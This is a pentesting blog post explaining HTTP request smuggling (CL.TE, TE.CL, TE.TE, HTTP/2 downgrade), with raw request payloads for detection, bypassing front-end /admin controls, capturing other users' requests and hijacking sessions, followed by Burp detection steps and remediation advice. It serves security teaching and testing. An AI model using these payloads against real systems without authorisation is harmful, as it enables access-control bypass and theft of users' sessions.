← Back to writing
Web Pentesting

HTTP Request Smuggling

Jul 05, 2024
3 min read
lawbyte

HTTP request smuggling exploits discrepancies between how a front-end proxy and a back-end server parse HTTP request boundaries. The result is that you can “smuggle” a hidden request that gets prepended to another user’s request.

How It Works

Modern web infrastructure uses a front-end server (load balancer, CDN, reverse proxy) that forwards requests to a back-end. HTTP/1.1 has two ways to specify request body length: Content-Length and Transfer-Encoding: chunked. When the two servers disagree on which takes precedence, you can inject data that the back-end interprets as the beginning of the next request.


CL.TE — Front-end uses Content-Length, Back-end uses Transfer-Encoding

The front-end reads the full Content-Length. The back-end reads until the chunked terminator 0\r\n\r\n, leaving your smuggled prefix in the back-end’s buffer.

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

The front-end sees Content-Length=13, forwards 13 bytes (0\r\n\r\nSMUGGLED). The back-end reads the chunk (size 0 = terminator), and SMUGGLED remains in the buffer — prepended to the next request.

Confirm CL.TE with timing

POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

1
Z
Q

If there’s a ~10 second delay (server waiting for next chunk), CL.TE is confirmed.


TE.CL — Front-end uses Transfer-Encoding, Back-end uses Content-Length

POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


The front-end reads the chunked body (8 bytes + terminator), forwards everything. The back-end reads Content-Length=3, takes 8\r\n as body, leaving SMUGGLED\r\n0\r\n\r\n in the buffer.

Confirm TE.CL with timing

POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

Back-end reads Content-Length=6 (0\r\n\r\nX), then waits for 1 more byte that never comes → timeout = TE.CL confirmed.


TE.TE — Both servers support TE, but one can be obfuscated

Both servers support Transfer-Encoding, but you can obfuscate it so one ignores it:

Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

Exploits

Bypass front-end security controls

Front-end blocks access to /admin. Back-end trusts front-end to enforce this. Smuggle a request to /admin:

POST / HTTP/1.1
Host: target.com
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

The GET /admin is smuggled into the back-end’s buffer and processed as though it came from an internal source (trusted by the back-end).

Capture other users’ requests

POST / HTTP/1.1
Host: target.com
Content-Length: 257
Transfer-Encoding: chunked

0

POST /capture HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200

search=

The next victim’s request is appended as the body of your POST /capture request, and the search parameter captures it (e.g., if /capture is a search endpoint that logs queries).

Session hijacking via request poisoning

POST / HTTP/1.1
Host: target.com
Content-Length: 187
Transfer-Encoding: chunked

0

GET /account HTTP/1.1
Host: target.com
Cookie: session=VICTIM_SESSION_WILL_BE_APPENDED_HERE
Content-Length: 1000

x=

HTTP/2 Request Smuggling

HTTP/2 has explicit framing — no ambiguity in the protocol itself. But when a front-end downgrades to HTTP/1 for the back-end, inconsistencies arise.

H2.CL

:method POST
:path /
:authority target.com
content-length: 0

SMUGGLED

H2.TE (header injection)

transfer-encoding: chunked

Injecting TE into an HTTP/2 request that gets downgraded.


Detection with Burp

Burp Suite → Extensions → HTTP Request Smuggler

1. Install "HTTP Request Smuggler" from BApp Store
2. Right-click any request → Extensions → HTTP Request Smuggler → Smuggle probe
3. Burp tests CL.TE, TE.CL, and TE.TE variants automatically

Manual detection — look for:

  • Timing differences between two similar requests
  • 400 errors from the back-end when smuggling breaks parsing
  • Differential responses (victim’s request arriving with your prefix)

Remediation

  • Use HTTP/2 end-to-end (no downgrade to HTTP/1).
  • If using HTTP/1, configure both servers to use the same parsing priority (prefer TE over CL).
  • Normalize ambiguous requests at the front-end — reject requests with both Content-Length and Transfer-Encoding.
  • Use a WAF or RASP that understands HTTP parsing.

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.